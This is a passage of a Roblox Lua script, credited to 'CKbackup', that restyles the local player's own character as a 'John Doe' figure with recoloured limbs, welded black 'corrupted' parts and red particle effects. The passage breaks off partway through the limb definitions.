local script = Instance.new('LocalScript', johndoe)
local button = script.Parent
button.MouseButton1Click:Connect(function()
------------
--John Doe--
------------
-----by-----
--CKbackup--
------------
--Player Stuff--
player = game:GetService("Players").LocalPlayer
chara = player.Character
ch = chara:GetChildren()
for i = 1, #ch do
if ch[i].Name == "Torso" then
ch[i].roblox.Transparency = 1
elseif ch[i].Name == "Head" then
ch[i].face.Transparency = 1
ch[i].Transparency = 1
elseif ch[i].ClassName == "Accessory" or ch[i].ClassName == "Shirt" or ch[i].ClassName == "Pants" or ch[i].ClassName == "ShirtGraphic" then
ch[i]:Destroy()
end
end
chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow")
chara["Left Leg"].BrickColor = BrickColor.new("Medium blue")
chara["Right Leg"].BrickColor = BrickColor.new("Medium blue")
chara.Torso.BrickColor = BrickColor.new("Bright yellow")
--Outfit--
New = function(Object, Parent, Name, Data)
local Object = Instance.new(Object)
for Index, Value in pairs(Data or {}) do
Object[Index] = Value
end
Object.Parent = Parent
Object.Name = Name
return Object
end
function ScatterEff(part)
local eff1 = Instance.new("ParticleEmitter",part)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(1)
eff1.Speed = NumberRange.new(1)
eff1.Rate = 100
eff1.VelocitySpread = 10000
eff1.Texture = "rbxassetid://347504241"
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",part)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(1)
eff2.Speed = NumberRange.new(1)
eff2.Rate = 100
eff2.VelocitySpread = 10000
eff2.Texture = "rbxassetid://347504259"
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
end
function BurningEff(part)
local eff1 = Instance.new("ParticleEmitter",part)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(1)
eff1.Speed = NumberRange.new(0)
eff1.Rate = 100
eff1.Texture = "rbxassetid://347504241"
eff1.Acceleration = Vector3.new(0,10,0)
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",part)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(1)
eff2.Speed = NumberRange.new(0)
eff2.Rate = 100
eff2.Texture = "rbxassetid://347504259"
eff2.Acceleration = Vector3.new(0,10,0)
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
local eff3 = Instance.new("ParticleEmitter",part)
eff3.Size = NumberSequence.new(1)
eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
eff3.LightEmission = 1
eff3.Lifetime = NumberRange.new(1)
eff3.Speed = NumberRange.new(0)
eff3.Rate = 100
eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
eff3.Acceleration = Vector3.new(0,10,0)
eff3.Color = ColorSequence.new(Color3.new(1,0,0))
end
FakeHead = New("Model",chara,"FakeHead",{})
MainPart = New("Part",FakeHead,"MainPart",{FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 1, 1),CFrame = CFrame.new(2.29537678, 7.81603718, 0.746068954, 0.00980896503, 0.00110200304, 0.999957919, -0.000536994543, 1.00000548, -0.00109680078, -0.99994874, -0.0005262224, 0.00980964955),CanCollide = false,TopSurface = Enum.SurfaceType.Smooth,})
Mesh = New("SpecialMesh",MainPart,"Mesh",{Scale = Vector3.new(1.25, 1.25, 1.25),})
face = New("Decal",MainPart,"face",{Texture = "rbxasset://textures/face.png",})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Head,C0 = CFrame.new(0, 0, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),C1 = CFrame.new(5.96046448e-008, -8.58306885e-006, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),})
FakeHead.MainPart.BrickColor = BrickColor.new("Cool yellow")
EyeFire = New("Part",FakeHead,"EyeFire",{BrickColor = BrickColor.new("Really red"),Material = Enum.Material.Neon,Size = Vector3.new(0.400000006, 0.200000003, 0.200000003),CFrame = CFrame.new(1.69668579, 8.11665249, 0.640022159, -0.00107900088, 0.999958038, -0.00980941113, -1.0000056, -0.00107390946, 0.000525554642, 0.000515007298, 0.00981007144, 0.999948859),CanCollide = false,Color = Color3.new(1, 0, 0),})
Mesh = New("CylinderMesh",EyeFire,"Mesh",{Offset = Vector3.new(0.0500000007, 0, -0.0399999991),Scale = Vector3.new(1, 0.150000006, 1),})
Weld = New("ManualWeld",EyeFire,"Weld",{Part0 = EyeFire,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0010790003, -0.999999344, 0.000515000196, 0.999951363, -0.0010738963, 0.00981000345, -0.00980944186, 0.000525560055, 0.99995178),C1 = CFrame.new(0.100008011, 0.300009251, -0.600027919, 0.00980899762, -0.000536999898, -0.99995178, 0.00110200245, 0.999999344, -0.000526215415, 0.999951363, -0.00109678751, 0.00980958249),})
Chest = New("Model",chara,"Chest",{})
MainPart = New("Part",Chest,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 2, 1),CFrame = CFrame.new(2.2937007, 6.31611967, 0.746871948, 0.00980956201, 0.00110224239, 0.999954581, -0.000537135813, 1.00000238, -0.00109703222, -0.99995023, -0.000526354474, 0.00981019717),CanCollide = false,LeftSurface = Enum.SurfaceType.Weld,RightSurface = Enum.SurfaceType.Weld,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Torso,C0 = CFrame.new(0, 0, 0, 0.009809535, -0.000537137908, -0.99994725, 0.00110225554, 1.00000858, -0.000526368851, 0.999961257, -0.00109705783, 0.00981026888),C1 = CFrame.new(5.96046448e-008, -9.05990601e-006, -2.38418579e-007, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.800000072, 1),CFrame = CFrame.new(2.28977966, 7.11656427, 1.34486222, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.598430753, 0.800122261, 0.00106739998, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.400000066, 1),CFrame = CFrame.new(2.29174757, 6.71645212, 1.54485857, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.798183441, 0.399908543, 0.00543618202, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),})
LeftArm = New("Model",chara,"LeftArm",{})
MainPart = New("Part",LeftArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(1.90889204, 6.31596565, 3.24640989, -0.0484240092, -0.0324009918, 0.998301268, -0.00117100019, 0.999474883, 0.0323822871, -0.998826265, 0.000399069104, -0.0484365262),CanCollide = false,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Arm"],C0 = CFrame.new(0, 0, 0, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),C1 = CFrame.new(0, -8.10623169e-006, -2.38418579e-007, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(1.48370504, 6.50245714, 2.8663168, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(0.400017738, 0.200018406, -0.400015235, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.51924801, 6.60332775, 3.66543078, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.399997473, 0.300003052, -0.399972558, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
EffCorruptedPart = New("Part",LeftArm,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(1.92512023, 5.81624889, 3.24619365, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.52587891e-005, -0.49998045, 2.90870667e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(2.31463432, 6.72918367, 3.62673688, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.400012016, 0.400006294, 0.400012136, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.50631011, 6.40297413, 3.26581192, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.3589859e-005, 0.100014687, -0.400020242, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.92179501, 6.51633835, 3.64602208, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.40000248, 0.200008869, 1.37090683e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),})
BurningEff(EffCorruptedPart)
LeftLeg = New("Model",chara,"LeftLeg",{})
MainPart = New("Part",LeftLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.2865479, 1.31659603, 1.24781799, 0.00980953407, 0.00110225566, 0.999961138, -0.000537137908, 1.00000858, -0.00109705783, -0.99994719, -0.000526368851, 0.00981026888),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,})
Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Leg"],C0 = CFrame.new(0, 0, 0, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),C1 = CFrame.new(0, -8.58306885e-006, -2.38418579e-007, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
EffCorruptedPart = New("Part",LeftLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.200000048, 1),CFrame = CFrame.new(2.28007793, 0.400032878, 1.25993299, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0116856098, -0.916567385, -0.00534534454, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.88013697, 0.800038397, 0.859943509, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(0.3841483, -0.516796231, -0.40962553, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(2.69002914, 0.915953577, 0.851962805, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(0.400011122, -0.399985313, 0.400013685, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(1.88013721, 0.900040269, 1.65993917, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.415866137, -0.41721642, -0.40188694, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.88013721, 0.600035727, 1.25993288, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0157161951, -0.717007458, -0.405481935, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.28007793, 0.700037479, 1.65993929, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.411835551, -0.616776347, -0.00175023079, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),})
CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 1.20000005, 0.200000003),CFrame = CFrame.new(2.68018699, 1.10004401, 1.65993941, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),})
Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),})
